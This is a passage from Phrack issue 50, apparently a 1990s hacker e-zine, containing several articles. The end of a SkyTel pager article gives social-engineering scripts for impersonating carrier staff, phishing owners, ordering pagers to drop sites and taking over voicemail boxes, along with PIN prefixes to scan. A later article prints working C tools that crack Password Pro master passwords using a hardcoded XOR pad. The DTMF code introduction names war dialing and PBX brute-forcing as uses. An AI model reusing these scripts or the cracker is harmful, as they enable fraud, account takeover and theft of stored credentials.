SkyFax so your callers can fax easily to Easy access to all of the your unique toll‑free number. You're faxes that come in while notified via your pager and can download, you're out. save, store and forward faxes from wherever you are (not available with SkyTel 2‑Way).

To know what's going on in SkyNews and SkyQuote, providing you with the world and on Wall news or stock quotes twice daily, available Street. to SkyWord subscribers.

14. Getting Phree SkyTel Pagers

To get phree SkyTel pagers you will need to get a pin. To do this you will have to do some scanning. Use the prefixes in section 16 of this article. Each pin is seven digits. If an account has a personal 800 number, then that is the pin. For example 800‑759‑9826. The pin is 7599826.

Hint: If you find a pin with option 3# on it. Which is alpha‑numeric paging. Call it up. The SkyTel operator will read you the name of the owner of the pager. Now you have the owner. All you have to do is goto a payphone and page the owner of the pager to the payphone and bull shit him into something stupid like "This is Michael Donaldson from SkyTel. We have lost some information on your SkyTel account. We need it for billing purposes." He will almost 99.99% of the time give it up. Your next step is to CNA his number and get all the information on the number. Now you have all the information on his SkyTel account. The best accounts to get phree pagers with are corporate accounts because they usually have many pagers under the account and will let you ship a large quantity of pagers out at one time.

Typical Conversation with Skytel to get Phree Pagers:

(if you have a UPS bin number all the better. BIN = billing identification number. AKA bill shipping to another company).

SB=Skytel Bitch

ME=PBXPhreak

Call 800‑SKY‑USER

ME: "Hi, I was wondering if you can help me?"

SB: "Sure, what do you need help with"

ME: "I would like to add a pager to my SkyTel account" SB: "Ok, sir. Whats your pin on your account"

ME: (give her the pin you have info on)

SB: (will ask for info on the account)

ME: (give her the info)

SB: "Ok, what type of pager and service would you like" ME: "A SkyTel Tango 2 Way Pager " ‑‑ $400 each

SB: "Ok, I am filling an order for a Tango, would you like any extra options on this pager"

ME: "Yes, the SkyTalk, SkyNews, SkyFax, SkyQuote and with nationwide and international coverage please" (one fuckin loaded pager) SB: "Ok, that will be shipped out tomorrow"

ME: "Miss, one thing.. I am in Canada right now at a Business conference can you ship it over here."

SB: "Sure. Whats the address you want it delivered to." ME: (give her the dropsite)

SB: "Is there anything else."

ME: "No thanks. You have yourself a good day and a Merry Christmas!!!"

15. Taking over a SkyTel Mailbox

Hint: If you find a pin with option 3# on it. Which is alpha‑numeric paging. Call it up. The SkyTel operator will read you the name of the owner of the pager. Now you have the owner. All you have to do is goto a payphone and page the owner of the pager like a million times and if he doesn't respond do it every day for a week. This usually means the pager isn't in use. So this will be a good SkyTel to take over.

Typical Conversation with Skytel to takeover a SkyTel Mailbox:

SB=Skytel Bitch

ME=PBXPhreak

Call 800‑SKY‑USER

ME: "Hi, this is Michael Donaldson from AirTouch Paging" SB: "How can I help you"

ME: "A customer was getting some options moved around when our computers crashed over on our system and I need to make some changes quickly, and our technician won't be here for awhile. He verified all the information correctly before the system crashed.

SB: "What is the pin number on the account"

ME: "7599823"

SB: "OK.. What needed to be changed"

ME: "He wanted to add SkyTalk and SkyFax and change his code to 9172" SB: "Ok i will do that now.."

ME: "Who am I speaking too. So I can tell my manager." (just bullshit) SB: (some stupid name)

ME: "Ok, Thank You."

SB: "Is there anything else."

ME: "No that is fine"

SB: "Have a good day"

That is a basic conversation that will get them to change the password, and add options to the account.

16. Prefixes for SkyTel Pagers and Voicemail

800‑203‑xxxx

800‑213‑xxxx

800‑436‑45xx

800‑436‑78xx

800‑757‑xxxx

800‑759‑xxxx (original region 759=SKY)

Ways of scanning:

‑ Scan by Hand. I would try using Substance's Random Scan program to generate numbers in the prefixes mentioned above.

‑ Toneloc is available at ftp.fc.net /pub/defcon/TONELOC

17. Conclusion

That should give you tons of infoz about Skytel and how to acquire an account on the Skytel system.

Hardwire Interfacing under Linux

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

11 of 16

H A R D W A R E I N T E R F A C I N G F O R T H E L I N U X O P E R A T I N G S Y S T E M

By The Professor <professr@hackerz.org>

Computer control of real world devices has been an out of reach fantasy for most people. In the past, it has rarely been seen outside the R&D labs of hardware design companies, universities, and a few dedicated hobbyist's basements. It takes not only a skilled programmer, but also a person that can design and build small circuits.

In this article, I will show you how to use a standard IBM/PC parallel printer port to control devices, such as bells, relays, and lights. I will also show you how to take input from devices such as DTMF decoder IC's, analog to digital converters, and switches.

To access the I/O port, the compiled program must be either executed by root or be suid root. This could be a potential system security hazard so be warned. In order to grant permissions to the port, one must use the function ioperm().

Syntax (also see the man page):

#include <unistd.h>

ioperm(BASE_ADDRESS,NUM,PERMISSION_BIT);

The first parameter is the port number to set permissions of.

The second parameter is the number of consecutive ports to set permissions of. (i.e. if num==3, BASE_ADDRESS, BASE_ADDRESS+1, and BASE_ADDRESS+2 are set). The third parameter is 1 to give the program permissions or 0 to remove them.

Sending and receiving data via the port is done with the commands, inb() and outb().

Syntax:

#include <asm/io.h>

value=inb(address); (address can be BASE_ADDRESS+1 or BASE_ADDRESS+2) outb(value,BASE_ADDRESS);

O U T P U T

Making individual output data lines of a parallel printer port "turn on" is as simple as selecting them with a corresponding binary value. Pin 2 (D0) is the least significant bit and pin 9 (D7) is the most significant bit. If you wanted bits 0, 2, 3, 4, and 6 to "turn on" or go high (+5v) while leaving 1, 5, and 7 low (ground) you would first convert the binary value to decimal and then send that value to the port. (actually, there is no reason why you can't just send the binary value to the port)

D7 D6 D5 D4 D3 D2 D1 D0

0 1 0 1 1 1 0 1 == 1011101 == 93

outb(93,BASE_ADDRESS);

If you want all lines low or "off", you send a 0.

If you want them all high or "on", you send 255.

Controlling the status of the individual bits of the I/O port is a simple way of controlling solid state relays, optocouplers, LED's and so on. You could very easily and very safely control a high wattage lighting system in this manner. (assuming you are using solid state relays with back EMF protection). This could/would be good for closet cultivators experimenting with the horticulture of cannabis sativa or any other plant. Have you ever wanted things such as lights and irrigation systems to come on or turn off at certain times? That's what your crontab file is for! The possibilities are endless.

I N P U T

Standard IBM/PC parallel printer ports have nine control lines capable of inputting real world data. Each printer port has three address locations. The base address is used to transmit data. The next address can input five data bits, using pins 11, 10, 12, 13, and 15 (referred to as BASE_ADDRESS+1 I7 through I3), and the third port address can input or output a nibble of information using pins 17, 16, 14, and 1 (referred to as BASE_ADDRESS+2 I3 through I0). The third port address pins must be set HIGH so we can read from BASE_ADDRESS+2. I'll show you how in the example.

The inputs are all active LOW, meaning your device must short them to ground to create a signal (switch, analog to digital converter, DTMF decoder, etc). This is not a problem, as most devices already do this. The ones that don't, just use an inverter.

The simplest method of inputting eight data bits is to read the high nibble from the (BASE_ADDRESS+1) and the low nibble from the (BASE_ADDRESS+2). These two nibbles can be logically ORed together to form a data byte. Some of the data bits are hard‑wired on the printer card for active HIGH operation. To get around this, I use four sections of a 7404 hex inverter to re‑invert the inverted data lines.

I7 I6 I5 I4 I3 I2 I1 I0 BASE_ADDRESS+1 INPUT LINES

11 10 12 13 15 ‑‑ ‑‑ ‑‑ PIN NUMBER (‑‑ = NOT USED)

I7 I6 I5 I4 I3 I2 I1 I0 BASE_ADDRESS+2 INPUT LINES

‑‑ ‑‑ ‑‑ ‑‑ 17 16 14 1 PIN NUMBER (‑‑ = NOT USED)

Notice both I3's of both ports are used. Pin 15 (ERROR) is the 9th input of a standard IBM/PC parallel printer port. No offense to this pin, but it's a pain in the ass to use and I only use it when I *have* to. Through software, I disregard it.

Check out this example:

/* next line sets all open collector output pins HIGH

so we can read from BASE_ADDRESS+2) */

outb(inb(BASE_ADDRESS+2) || 15 , BASE_ADDRESS+2);

High_Nibble = inb(BASE_ADDRESS+1);

Low_Nibble = inb(BASE_ADDRESS+2);

High_Nibble = High_Nibble & 0xF0; /* 0xF0 = 11110000 */

Low_Nibble = Low_Nibble & 0x0F; /* 0x0F = 00001111 */

Data_Byte = High_Nibble | Low_Nibble;

Pretty simple, eh? This means you can use I7 through I4 in BASE_ADDRESS+1 and I3 through I0 in BASE_ADDRESS+2 to give you 8 bits of data input.

All of the data lines must use a pull up resistor. This includes the hard‑wired active HIGH pins *after* the 7404 inverter. This lets any device produce both a high and low logic signal. Pull up resistors simply pull all the data lines high so software sees all 0's unless you short a pin to ground. (Remember these are all active LOW inputs ‑ground means 1)

Pins 14, 17, 1, and 11 are all hard‑wired for active HIGH operation. These are the pins that are signaled through the 7404 inverter IC (which makes them just like the rest of the pins for ease of use).

NOTES:

*** When compiling programs using these routines, use the ‑O2 optimize flag, or else you'll have some headaches.

Port 888 is the 1st parallel printer port (LPT1)

I am not responsible for your mistakes. If you plug 120vAC directly into your parallel port, I guarantee you'll destroy your computer. Use optically isolated solid state relays to switch high current.

For any more info regarding I/O port programming, schematics to some fun projects, or to send a complaint, e‑mail professr@hackerz.org

If you don't like my code, keep in mind that I design hardware for a living. I am not a programmer, nor have I ever claimed to be one. My programs are elegant on occasion, but mostly just get the job done without actually doing it the best way.

If you want schematics showing how to hook up the 7404 to the port, mail me.

I have some interesting things there regarding circuit design. One of my favorites is a software package called "PADS" Personal Automated Design Software. It is a CAD package for schematics and PCBoard Design. The copy on my web page is a public domain demo. This demo is fully functional in every way. It only limits you to something like 20 IC's, 300 tie points, etc. I usually do not go over these limits.

Maybe this article will replace the IO‑Port [mini] How‑To 'cause that is only about 24 lines of text.

E X A M P L E S

A N D

D I A G R A M

/* simple program to send data via parallel port */

#include <unistd.h>

#include <asm/io.h>

#define BASE_ADDRESS 888/* 1st Parallel Port */

main() {

int port_data=0;

int Data_Byte=255;

ioperm(BASE_ADDRESS,3,1);/* set permission on port */

outb(Data_Byte,BASE_ADDRESS);

printf("Sent 255 to port %d to turn all pins HIGH\n",BASE_ADDRESS); ioperm(BASE_ADDRESS,3,0);/* take away port permission */

return(0);

}

/* end of simple program to send data via parallel port */

/***************************************

/* simple program to take in 8 bit input via parallel port */

#include <unistd.h>

#include <asm/io.h>

#define BASE_ADDRESS 888/* 1st Parallel Port */

main() {

int port_data=0;

int High_Nibble, Low_Nibble, Data_Byte;

ioperm(BASE_ADDRESS,3,1);/* set permission on port */

outb(inb(BASE_ADDRESS+2) || 15 , BASE_ADDRESS+2);

High_Nibble = inb(BASE_ADDRESS+1);

Low_Nibble = inb(BASE_ADDRESS+2);

High_Nibble = High_Nibble & 0xF0; /* 0xF0 = 11110000 */

Low_Nibble = Low_Nibble & 0x0F; /* 0x0F = 00001111 */

Data_Byte = High_Nibble | Low_Nibble;

printf("LN=%d HN=%d DB=%d\n",Low_Nibble,High_Nibble,Data_Byte); ioperm(BASE_ADDRESS,3,0);/* take away port permission */

return(0);

}

/* end of simple program to take in 8 bit input via parallel port */

/***************************************

I I I I I 0 6 7 5 4

P

A

_ P

S E S

T R E

R _ B | L O A U E E B D D D D D D D D C S N C E 0 1 2 3 4 5 6 7 K Y D T

____________________

1 (o o o o o o o o o o o o o) 13 14 \ o o o o o o o o o o o o/ 25

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

_ _ | PINS 18 |

A E I S |<‑‑‑‑THROUGH 25‑‑‑‑>| U R N E | GROUND | T R I L

O O T |

| R I

F N

E P

E U

D * T ** ERROR LINE IS NOT USED AS I3

* DISREGARDED VIA SOFTWARE)

I I I I

1 3 2 3

/******************** End of my little text file / how‑to *******************/

PC Application Level Security

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

12 of 16

PC Application Level Security

by

Sideshow Bob

I. Introduction

In the past, hackers interested in security have focused most of their efforts in finding and exploiting security holes in networking related operating systems, protocols, and applications. I would like to suggest another arena of hacking that might be of interest to emerging hackers. Although the Internet is certainly a great place to hack, you can also find a world of hacking sitting right on the computer at your desk. This article is really aimed at a broad and young audience, for cryptographers of tomorrow, not today.

The fundamental problem with the lack of security in applications today is that people just don't care. Companies that produce security software do care about security, but most software available today has some component of security in them, written by programmers who do not understand or care about security. When a consumer uses a piece of software that has advertised security features, they do not have the knowledge or power to determine if the security in that software is effective, or waiting to be exploited. There are literally thousands of applications out there for PCs right now, and many of them have security problems just waiting to be discovered.

In this article, I hope to provide interested new hackers the motivation and knowledge to go out and explore PC applications they have access to in order to determine if they have security problems. Giving out exploits is definitely NOT the goal of this article, I decided to provide one example to show the process at work, but I leave it up to the readers to go out and hack for themselves.

If you find security holes of your own in PC applications, I strongly encourage you to inform the companies involved, and post your findings in an appropriate public forum. If you learn from this article, helping the security community by letting other people know about security problems in PC software is the greatest compliment you could give me.

II. Finding an Candidate

Just exactly what I am talking about when I say PC application security? First off, I am talking about mass consumer operating systems. Unix and NT are being examined by many security people today in great depth for security holes, and there is definitely a good reason for that, but this article is focused on the computers sitting at most people's desks. Windows and Mac‑OS are both widely used legitimate operating systems.

Some security people might tell you if you care about security, don't run Windows '95. That is an easy answer, it is far easier to build secure applications on top of more secure operating systems. But that does not address the realistic security threats that exist on these operating systems. The fact is, nobody is going to ruin your life, steal your money, or cause millions in harm solely because of a vulnerability in one of these programs. But as a consumer, you should expect and DEMAND that when someone tells you their program is secure that they aren't flat out lying to your face. When someone tells you your personal information you enter into a program is protected by a password, you should DEMAND that without that password, your data is protected from your family, your friends, and even a friendly visit from your local law enforcement agency.

What programs should you look for with security holes? Quite simply, anything that claims to have any security in it. The most obvious tip‑off is anything with passwords. In addition, anything that has users, restricts access, or claims to protect your data. Encryption and authentication are big buzzwords that someone is messing with security. Look on your hard drive, look in computer stores, look on the Internet for shareware and freeware (if its free, its ok if it lies about what it does? I don't think so.). Not every program has any element of security in it, but lots do. Not every program you find will have security holes, but if you spend enough time and look at enough programs, you are going to find a lot that do. I would especially encourage you to not limit yourself to high‑profile, popular applications. Certainly those are viable candidates, but there are a lot more choices than that. If you have found an application, now you are ready to hack!

III. Finding Vulnerabilities

A. Application Purpose

You have found a candidate application, and now you want to find out if it is insecure. The first thing you want to do is to learn how the program works. The worst of the worst applications will allow you to subvert security directly from within the application. An example of this was the first version of Microsoft "Bob". After incorrectly entering your password too many times, Bob would wisely figure out that you forgot your password and ask you if you wanted to change it.

Determine what the goal of the security in the application is. Generally this will be to protect sensitive information in the program. For the candidate application, determine what information is being protected. It might only be a small sub‑set of the data, or perhaps all of it. Often the product won't tell you what it is trying to protect, so you will need to do some digging inside the program to discover it. Some programs might let anyone read data, but only authorized users modify it. Other programs might let anyone enter in new data, but only authorized users read what has been entered. Another program might let anyone read and enter in new data, but only let authorized users delete individual entries (in an insecure OS, anyone could delete the entire database, but that does not imply one could selectively remove information from a database).

B. User Interaction

Next, figure out all the different elements of the program that allow the user to interact with the security module of the program. Where does it ask for usernames? Where does it ask for passwords? Can I change a password? Can I remove a password? Can I password protect different parts of a file? Do I have any options as to what kind of security is employed? Can I disable security altogether? Do I protect a file, a database, a user? This is the typical user level interaction with the program. I would not even attempt to start digging at a lower level of the program until you are an expert on how the program functions at the user interface level.

C. Digging Deeper

Now that you have comprehensively examined and understand the program at the normal user level, you are ready to start hacking, and that means figure out how the program works. Now, if you are extremely fortunate, you may have source code to the program and will be able to simply read that source and fully understand how it works. Another method for figuring out how the program works is to disassemble the program and read through the assembly code of the program as it executes. This is a reasonable method and sometimes the best, but it requires a thorough understanding of assembly language and in order to make this article accessible to anyone interested, I am going to ignore that possibility. If you are interested in doing so, I suggest picking up a good book on assembly and a high quality debugging tool.

If you have the most typical application of security in your application, the security is meant to protect some sensitive information. Somewhere on your hard drive, in some form, is that sensitive information: Find It! Usually this isn't hard, you install the application somewhere and if it is well behaved it doesn't put the data in some random location on your hard drive (but be forewarned, some do exactly to confuse you at this step). Start out with a fresh installation of the software on your drive, and then enter some data into the application, and see what changed. Now you should know what file(s) data gets written out to.

D. File Modifications

Look at the directory listings, sometimes the filename itself is a clue. Save directory listings out to a file, and then make some modification in the program (and save), and make another directory listing. For each listing, write down what you did between that and the last listing. Now you have a bunch of directory listings, which may or may not help you. You need to try and interpret this data to tell if there is anything you can learn about how the program works. In the worst case (for you), absolutely nothing will change. Usually at least timestamps on the files will change, telling you what files were written to.

Does every user or database you enter get written to a new file which is the name of the user, or does it all get written to one file? Does each new entry create a new file? Does one file get bigger by a fixed amount of size for each entry you add? Is each file created the same size? Do you recognize the extension of the file?

E. File Contents

If you have made any progress at all by this point, you should be able to narrow down what file or files you need to examine in more depth. The best thing to do is to just look at the files. There are two things you need at this point: a good hex viewer and a good diff utility. The hex viewer should let you know look at both the ASCII text and binary contents of the file; for DOS something like the shareware List utility is good. A diff utility will take 2 or more files as input and tell you what has changed between them. This will automate telling you what has changed in the files when you make a change in the data.

Quite simply, use these two utilities. Take a look inside the files that you KNOW have to contain the sensitive data. Now if a program is meant to protect you from reading the data and your hex viewer is sitting there and you see it all in front of your face, you have found a problem. If you change an 'a' to a 'b' in the application and one byte of data is incremented one byte in the file, you are getting closer. In many cases, you will need to enter in a lot of data into the application and compare numerous resulting files in order to figure out exactly what and where things change.

If data is being protected, the worst case (for you) is that it is actually being encrypted with a known secure algorithm. Does that mean it is secure? No, through thorough cryptanalysis, serious computing power, or implementation flaws, one might still be able to read the data. But this sort of analysis is left to professionals in that field, and not the target of this article. For you, you may have to find alternative methods to gain access which are probably far easier to begin with. This might mean keystroke logging, social engineering, or simply trying to brute force attack the situation.

A more common situation is that some, but not all of the data is being encrypted. You will very likely be able to extract sensitive information that the users of the program thinks is sensitive and should be secure, but the application programmer's decided was not part of the sensitive date. Not clearly communicating what is being protected and what isn't should be an indication that everything is being protected, but that is very often not the case at all.

Another common situation is that the data is being poorly encrypted. This is usually the case if you can't read the data in text in the files, but you are able to pick up clear patterns of what is being changed. Good encryption should make data that looks 'random', if what you are looking at looks decidedly not random, there is a problem.

IV. Exploiting Vulnerabilities

I will finish up this article with an example of how to work through this process from finding a program to exploiting the vulnerability. Ziff‑Davis Interactive has been advertising and offering a free Windows utility known as "Password Pro" for the sole purpose of letting Windows users maintain passwords in a central database securely. On the Internet today, people (not to mention hackers) have accounts on numerous machines and managing the passwords for all of these systems is not a trivial task. With the increasing popularity of requiring registration to gain access to all the features of a web site, users are accumulating more and more accounts than ever before.

In the past, users have taken on several solutions to this problem. Some people use the same account name and password everywhere they go. Obviously this presents a major security problem, as there is no way to guarantee the security of any one of the accounts that they use, much less all of them. If their password is compromised, it is an even more daunting task to change the password on every site that is being used. Still, this requires a user maintain a list of systems they have accounts on, and with more people using the net everyday, it is inevitable that some people will attempt to use the same account name.

Another possible solution people have used is to maintain a cleartext file on their system, or a physical notebook that has a list of usernames and passwords. Using paper and pen certainly will eliminate hackers over the Internet from gaining access, but if you have ever seen War Games you know that crackers are not above physically snooping around your home or office in order to find out passwords. Leaving a plaintext file on your system is an even worse solution. If you are running an insecure operating system such as DOS or Windows '95, anyone that can sit down at your computer will be able to read it. Even with Windows NT or a Unix operating system, you do not want anyone that can gain administrator/root access to the machine to immediately gain access to every machine on the Internet that you have an account on.

While there is no perfect solution preventing someone with root access to the box you are using from snooping your keystrokes or sniffing your sessions, it is certainly more work to do so than to simply read a cleartext file. So, it is clear that for many users on the Internet today, there is a definite use for the type of utility that ZD Net is providing. Further, as will be explained in this article, there are definitely fairly secure methods of writing and using such a database. It is unfortunate that Ziff‑Davis has implemented this tool in such a manner as to actually make it easier for people to obtain users' account names and passwords. The author of this utility was informed through appropriate channels of this vulnerability in his software and as of the release of this article, an upgraded version with a well known encryption algorithm should be available.

All of my work with regards to Password Pro was done by modifying accounts and entries through the normal operation of the program, and then viewing the changes that were made to the corresponding .lst files. At no point did I attempt to disassemble the Password Pro code, although that would have resulted in the same ultimate findings.

For each user on a machine that wishes to use Password Pro, a file is created in the Password Pro directory with a filename of <username>.lst. When you first start‑up Password Pro, it prompts you for a username and password. When you enter a filename, it looks for a file with the .lst extension matching that username. If it finds the file, it then reads the password that you are prompted for, and attempts to validate the password with the one stored in the file. If the file does not exist, the user is asked if he wants to create a new account; if so he can then enter and confirm a password and a file is created.

The file format of the user .lst files is proprietary. When the file is first created, it is 32 bytes in length. Users can then add entries to the file which contain a system name, account name, password, and password expiration. Adding a single entry to a new .lst file increases the file size to 166 bytes.

Viewing the file showed that the Password Pro password did not show up in plaintext anywhere in the file, nor did any of the passwords for the systems that users had entered. System names and account names were however in plaintext; my first disappointment in examining the security of the program.

My first thoughts with regards to the file format was simply that the password was stored in the first 32 bytes of the file, and the entries were stored in fixed length structures beyond that. If each entry's password was actually encrypted with the password that was entered by the user, there would be no way to directly view the contents of the file. At this point in time, I had no idea if this was the case or not, but if it proved to be true, there would still be other options available in attempting to read the entries, such as a dictionary attack.

To test my first theory, I created a user, blue, that I would attempt to break the security on. I used the password "password", obviously a poor choice for a real application but since I was not going to mount a dictionary attack at this point, it was irrelevant. I added an entry for this user for a fictitious system, account name, and password. I then created a user, hacker, with no password on his account, and on database entries. On my filesystem I then had a 166 byte blue.lst file and a 32 byte hacker.lst file. In order to merge the two files into one, I used the commands:

C:\PASSWORD> tail ‑‑bytes=134 blue.lst > blue.end C:\PASSWORD> copy /b hacker.lst+blue.end > hacked.lst

I then loaded up Password Pro and attempted the username 'hacked'. It prompted for a password and when I attempted none, it prompted me again. It was clear that cracking this program was not going to be quite that trivial.

It was clear that all of the information necessary to attack the password was being stored somewhere in those first 32 bytes. The easiest way to scramble the password would be a bit‑shift (rot‑13) or to XOR the password with a single character. If this was true, the password 'password' should show the two consecutive 's' characters as being the same value. I looked through the hex dump of the file to see if this appeared to be true, and it wasn't.

The next complication in encryption is to XOR the files with a 'pad'. This would mean that each letter in the password would be XOR‑ed with a different byte, up to the length of the pad, and then it would start over XORing with the first letter of the pad, and so on. If this were the case, changing one letter in my password would only change one byte in the file. I created a password of 'pastword' and diffed the files; only 1 byte changed. This looked promising, so it was time to extract the 'pad' from the file. For an eight letter password, I need to find out what the 8 bytes being used to XOR the file are. The way to do this is to simply take a file the program creates with a known password, and XOR the file with the password, resulting in the pad. This reverses what the program originally did, which was XOR the password with the pad to create the file.

<++> pwp‑pad.c

/* pwp‑pad.c ‑ ZD Password Pro for Windows Pad Reader (1/14/97)

*

* Syntax: pwp‑pad filename.lst password

*

* Given a database file created by Password Pro and the password entered to * protect the file, outputs the pad being used by Password Pro to encrypt * files.

*

*/

#include <stdio.h>

main(int argc, char **argv) {

FILE *fpass;

char pbuf[32], inbuf[32];

char *password, *pptr;

int i;

/* check command line arguments */

if(argc < 3) {

fprintf(stderr, "Syntax: %s filename.lst password\n", argv[0]); exit(1);

}

password = argv[2];

/* open the file */

fpass = fopen(argv[1],"r");

if(!fpass) {

fprintf(stderr, "Unable to open file %s\n", argv[1]); exit(1);

}

/* read from file */

if(fread(pbuf, 1, 32, fpass) != 32) {

fprintf(stderr, "Unable to read password entry from file.\n"); exit(1);

}

/* output pad by xor file contents with password from command line */

printf("Pad: ");

for(i=0; i<32 && pbuf[i]; i++) {

pbuf[i] ^= password[i];

printf("%x ", 0xff & pbuf[i]);

}

printf("\n");

}

<‑‑>

Now that we have the pad, the next step is to use that pad to actually crack the contents of someone else's file. The way we do that is by taking someone's lst file that we don't know the password for, and XORing the start of the file with the pad. This will result in the password that they stored the file with, which we can then enter into the program to view the contents.

<++>

/* pwp‑crack.c ‑ ZD Password Pro for Windows Cracker (1/14/97)

*

* Syntax: pwp‑crack filename.lst

*

* Outputs the password entered by the user of Password Pro to protect others * from reading the contents of their account and password database. *

*/

#include <stdio.h>

main(int argc, char **argv) {

FILE *fin;

char inbuf[32];

char pad[] = { 0x38, 0x17, 0x2b, 0x8c, 0x59, 0xaf, 0xe6, 0x03, 0x61, 0x85 }; int i;

if(argc < 2) {

fprintf(stderr, "Syntax: %s filename.lst\n\n", argv[0]); exit(1);

}

fin = fopen(argv[1],"r");

if(!fin) {

fprintf(stderr, "Unable to open %s for reading\n", argv[1]); exit(1);

}

if(fread(inbuf, 1, 32, fin) != 32) {

fprintf(stderr, "Unable to read password from file.\n"); exit(1);

}

printf("Password: ");

for(i=0; i<32 && inbuf[i]; i++) {

inbuf[i] ^= pad[i % sizeof(pad)];

printf("%c", inbuf[i]);

}

printf("\n");

}

<‑‑>

V. Conclusion

If you are interested in any of this, I strongly encourage you to go out and find holes and write exploits on your own. I'm sure Phrack would love to hear about any findings you make, so let us know how you are doing.

If you are a software developer and are interested in avoiding become a victim of one of Phrack's budding hackers, or just want to learn more about practical crytography, I suggest you pick up a copy of Bruce Schneier's Applied Cryptography available at any big bookstore.

DTMF signalling and decoding

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

13 of 16

===============

DTMF Encoding and Decoding In C

by Mr. Blue

===============

Introduction

‑‑‑‑‑‑‑‑‑‑‑‑

DTMF tones are the sounds emitted when you dial a number on your touch tone phone. Modems have traditionally been the device used to generate these tones from a computer. But the more sophisticated modems on the market today are nothing more than a DSP (digital signal processor) with accompanying built‑in software to generate and interpet analog sounds into digital data. The computers sitting on your desk have more cpu power, a more complex OS, and very often a just as sophisticated DSP. There is no reason you can not duplicate the functionality of a modem from right inside of unix software, providing you with a lot easier to understand and modify code.

In this article I provide the source code to both encode and decode DTMF tones. There are numerous uses for this code, for use in unix based phone scanning and war dialing programs, voice mail software, automated pbx brute force hacking, and countless other legitimate and not so legitimate uses.

I will not go into depth explaining the underlying mathematical theories behind this code. If you are of a sufficient math background I would encourage you to research and learn about the algorithms used from your local college library; it is not my intent to summarize these algorithms, only to provide unix C code that can be used on its own or expanded to be used as part of a larger program.

Use the extract utility included with Phrack to save the individual source files out to the dtmf/ directory. If you find this code useful, I would encourage you to show your appreciation by sharing some of your own knowledge with Phrack.

<++> dtmf/detect.h

/*

*

* goertzel aglorithm, find the power of different

* frequencies in an N point DFT.

*

* ftone/fsample = k/N

* k and N are integers. fsample is 8000 (8khz)

* this means the *maximum* frequency resolution

* is fsample/N (each step in k corresponds to a

* step of fsample/N hz in ftone)

*

* N was chosen to minimize the sum of the K errors for

* all the tones detected... here are the results :

*

* Best N is 240, with the sum of all errors = 3.030002

* freq freq actual k kactual kerr

* ‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑

* 350 (366.66667) 10.500 (11) 0.500

* 440 (433.33333) 13.200 (13) 0.200

* 480 (466.66667) 14.400 (14) 0.400

* 620 (633.33333) 18.600 (19) 0.400

* 697 (700.00000) 20.910 (21) 0.090

* 700 (700.00000) 21.000 (21) 0.000

* 770 (766.66667) 23.100 (23) 0.100

* 852 (866.66667) 25.560 (26) 0.440

* 900 (900.00000) 27.000 (27) 0.000

* 941 (933.33333) 28.230 (28) 0.230

* 1100 (1100.00000) 33.000 (33) 0.000

* 1209 (1200.00000) 36.270 (36) 0.270

* 1300 (1300.00000) 39.000 (39) 0.000

* 1336 (1333.33333) 40.080 (40) 0.080

**** I took out 1477.. too close to 1500

* 1477 (1466.66667) 44.310 (44) 0.310

****

* 1500 (1500.00000) 45.000 (45) 0.000

* 1633 (1633.33333) 48.990 (49) 0.010

* 1700 (1700.00000) 51.000 (51) 0.000

* 2400 (2400.00000) 72.000 (72) 0.000

* 2600 (2600.00000) 78.000 (78) 0.000

*

* notice, 697 and 700hz are indestinguishable (same K)

* all other tones have a seperate k value.

* these two tones must be treated as identical for our

* analysis.

*

* The worst tones to detect are 350 (error = 0.5,

* detet 367 hz) and 852 (error = 0.44, detect 867hz).

* all others are very close.

*

*/

#define FSAMPLE 8000

#define N 240

int k[] = { 11, 13, 14, 19, 21, 23, 26, 27, 28, 33, 36, 39, 40, /*44,*/ 45, 49, 51, 72, 78, };

/* coefficients for above k's as:

* 2 * cos( 2*pi* k/N )

*/

float coef[] = {

1.917639, 1.885283, 1.867161, 1.757634,

1.705280, 1.648252, 1.554292, 1.520812, 1.486290,

1.298896, 1.175571, 1.044997, 1.000000, /* 0.813473,*/

0.765367, 0.568031, 0.466891, ‑0.618034, ‑0.907981, };

#define X1 0 /* 350 dialtone */

#define X2 1 /* 440 ring, dialtone */

#define X3 2 /* 480 ring, busy */

#define X4 3 /* 620 busy */

#define R1 4 /* 697, dtmf row 1 */

#define R2 5 /* 770, dtmf row 2 */

#define R3 6 /* 852, dtmf row 3 */

#define R4 8 /* 941, dtmf row 4 */

#define C1 10 /* 1209, dtmf col 1 */

#define C2 12 /* 1336, dtmf col 2 */

#define C3 13 /* 1477, dtmf col 3 */

#define C4 14 /* 1633, dtmf col 4 */

#define B1 4 /* 700, blue box 1 */

#define B2 7 /* 900, bb 2 */

#define B3 9 /* 1100, bb 3 */

#define B4 11 /* 1300, bb4 */

#define B5 13 /* 1500, bb5 */

#define B6 15 /* 1700, bb6 */

#define B7 16 /* 2400, bb7 */

#define B8 17 /* 2600, bb8 */

#define NUMTONES 18

/* values returned by detect

* 0‑9 DTMF 0 through 9 or MF 0‑9

* 10‑11 DTMF *, #

* 12‑15 DTMF A,B,C,D

* 16‑20 MF last column: C11, C12, KP1, KP2, ST

* 21 2400

* 22 2600

* 23 2400 + 2600

* 24 DIALTONE

* 25 RING

* 26 BUSY

* 27 silence

* ‑1 invalid

*/

#define D0 0

#define D1 1

#define D2 2

#define D3 3

#define D4 4

#define D5 5

#define D6 6

#define D7 7

#define D8 8

#define D9 9

#define DSTAR 10

#define DPND 11

#define DA 12

#define DB 13

#define DC 14

#define DD 15

#define DC11 16

#define DC12 17

#define DKP1 18

#define DKP2 19

#define DST 20

#define D24 21

#define D26 22

#define D2426 23

#define DDT 24

#define DRING 25

#define DBUSY 26

#define DSIL 27

/* translation of above codes into text */

char *dtran[] = {

"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",

"*", "#", "A", "B", "C", "D",

"+C11 ", "+C12 ", " KP1+", " KP2+", "+ST ",

" 2400 ", " 2600 ", " 2400+2600 ",

" DIALTONE ", " RING ", " BUSY ","" };

#define RANGE 0.1 /* any thing higher than RANGE*peak is "on" */

#define THRESH 100.0 /* minimum level for the loudest tone */

#define FLUSH_TIME 100 /* 100 frames = 3 seconds */

<‑‑>

<++> dtmf/detect.c

/*

* detect.c

* This program will detect MF tones and normal

* dtmf tones as well as some other common tones such

* as BUSY, DIALTONE and RING.

* The program uses a goertzel algorithm to detect

* the power of various frequency ranges.

*

